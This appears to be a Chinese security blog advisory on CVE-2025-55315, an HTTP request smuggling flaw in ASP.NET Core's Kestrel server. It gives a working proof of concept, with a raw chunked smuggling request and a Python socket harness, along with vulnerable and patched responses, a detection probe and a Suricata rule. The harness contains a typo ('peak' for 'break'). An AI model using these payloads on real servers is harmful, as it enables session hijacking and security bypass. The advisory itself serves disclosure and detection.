首页 网络安全 正文
  • 本文约3098字,阅读需15分钟
  • 6
  • 0

Microsoft ASP.NET Core漏洞CVE-2025-55315

摘要

栋科技漏洞库关注到 Microsoft ASP.NET Core 平台中存在一个信息泄露漏洞,该漏洞现已被追踪为CVE-2025-55315,CVSS 3.1评分9.9。

Microsoft ASP.NET Core 是微软推出的跨平台、高性能开源 Web 框架,用于构建 Web 应用、API、微服务等,支持多版本共存同服务器。

一、基本情况

ASP.NET Core 旨在帮助允许运行时组件、API、编译器以及语言快速发展,同时仍然提供稳定且受支持的平台,从而能够让应用持续运行。

Adobe Experience Manager漏洞CVE-2025-54253

ASP.NET Core可构建 Web 应用、API(包括Blazor无JavaScript 的交互式界面)、集成 Angular/React/Vue 等客户端框架,支持云部署。

栋科技漏洞库关注到 Microsoft ASP.NET Core 平台中存在一个信息泄露漏洞,该漏洞现已被追踪为CVE-2025-55315,CVSS 3.1评分9.9。

二、漏洞分析

CVE-2025-55315漏洞是位于 Microsoft ASP.NET Core平台的高危安全漏洞,漏洞属于HTTP请求走私(HTTP Request Smuggling)类型。

位于Kestrel Web服务器组件中,允许攻击者通过构造恶意HTTP请求绕过安全防护机制,窃取敏感数据、篡改服务器内容,导致服务中断。

攻击者利用CVE-2025-55315漏洞的方式主要包括:

通过发送精心构造的HTTP请求实施请求走私攻击,制造请求边界解析歧义以诱导Kestrel服务器或前端代理(如Nginx)错误处理请求流,

使恶意请求被误认为合法通信;

同时可劫持其他用户的会话凭据或绕过前端部署的防火墙、WAF等安全防护机制直接攻击后端服务器;

该漏洞可能被用于实现权限提升、服务器端请求伪造(SSRF)、绕过跨站请求伪造(CSRF)防护机制,甚至触发SQL注入等潜在攻击。

三、概念验证

运行目录:artifacts/runs/ASP-Kestrel-Chunked-Smuggling/20251017-210608/ASP-Kestrel-Chunked-Smuggling/default_recipe/

1、走私有效载荷

POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
Content-Type: text/plain
Connection: keep-alive

4;ext=foo
ABCD
0

GET /smuggled HTTP/1.1
Host: localhost

这正是tool_26_run_shell.log中发送的请求。

2、Python线束

import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Content-Type: text/plain\r\n"
    b"Connection: keep-alive\r\n"
    b"\r\n"
    b"4;ext=foo\r\n"
    b"ABCD\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"\r\n"
)

with socket.create_connection(("127.0.0.1", 5000)) as s:  # vulnerable Kestrel 7.0.20
    s.sendall(payload)
    s.settimeout(1.0)
    chunks = []
    try:
        while True:
            data = s.recv(4096)
            if not data:
                peak
            chunks.append(data)
    except Exception:
        pass

print(b"".join(chunks).decode(errors="ignore"))

3、易受攻击的响应(端口5000)

HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked

2
OK
0

HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked

2
OK
0

服务器在同一TCP连接上产生了两个响应,确认GET /smuggled 被接受。

4、修补响应(端口5001)

Exception: timed out
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:10:35 GMT
Transfer-Encoding: chunked

2
OK
0

修补后的构建在抛出Bad chunk extension后关闭连接,防止走私请求。

5、证据文件

Smuggling script    tool_26_run_shell.log

Patched run output    tool_44_run_shell.log

Vulnerable server log    workspace/vulnerable_app.log

Patched server log    workspace/patched_app.log

Fix commit (source tree)workspace/aspnetcore → git show b50ab865ec4dcd3d6ac30221288cc36bf189d300

6、建议生产检测

要监视没有自定义终结点的实时环境,请使用格式错误的块扩展通过TLS发送预认证GET/探测:

GET / HTTP/1.1
Host: <target>
Transfer-Encoding: chunked

2;\rxx
xy
0
  • 易受攻击的Kestrel在200 OK后保持TLS会话打开。
  • 修补后的Kestrel立即中止(400/连接关闭),因为它现在拒绝了无效的块扩展。

通过L7监视器部署此探测器为CVE-2025-55315提供了一个稳定的通用检测路径。

Suricata/Snort IDS签名

如果需要在线路上进行被动检测,以下与Suricata兼容的规则会标记在块扩展中包含有问题的“\r”的入站HTTP/1.1请求。

它也清晰地映射到Snort。

alert http any any -> $HOME_NET any (
    msg:"Possible Kestrel chunked smuggling probe";
    flow:to_server,established;
    http.request_line;
    content:"Transfer-Encoding|3a| chunked"; http.header;
    content:"|0d 0a|2;|0d|"; within:32;
    classtype:web-application-attack;
    sid:2025553151; rev:1;
)
  • content:"|0d 0a|2;|0d|"在块长度(2;)之后立即查找合法客户端不应发送的CR。
  • 根据您的规则集策略调整sid/rev
  • 将其与日志记录/警报相结合,以便操作员可以将探头与上游平台版本相关联。

主动TLS探测和被动IDS签名共同提供了全面的覆盖:一个验证您自己的舰队,另一个在生产中检测(或利用)漏洞时发出警报。

五、影响范围

- .NET Core 2.x:引用了Microsoft.AspNetCore.Server.Kestrel.Core NuGet包2.3.0及更早版本

- .NET 8:ASP.NET Core 8.0.20及更早版本

- .NET 9:ASP.NET Core 9.0.9及更早版本

- .NET 10:ASP.NET Core 10.0.0-rc.1.25451.107及更早版本

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接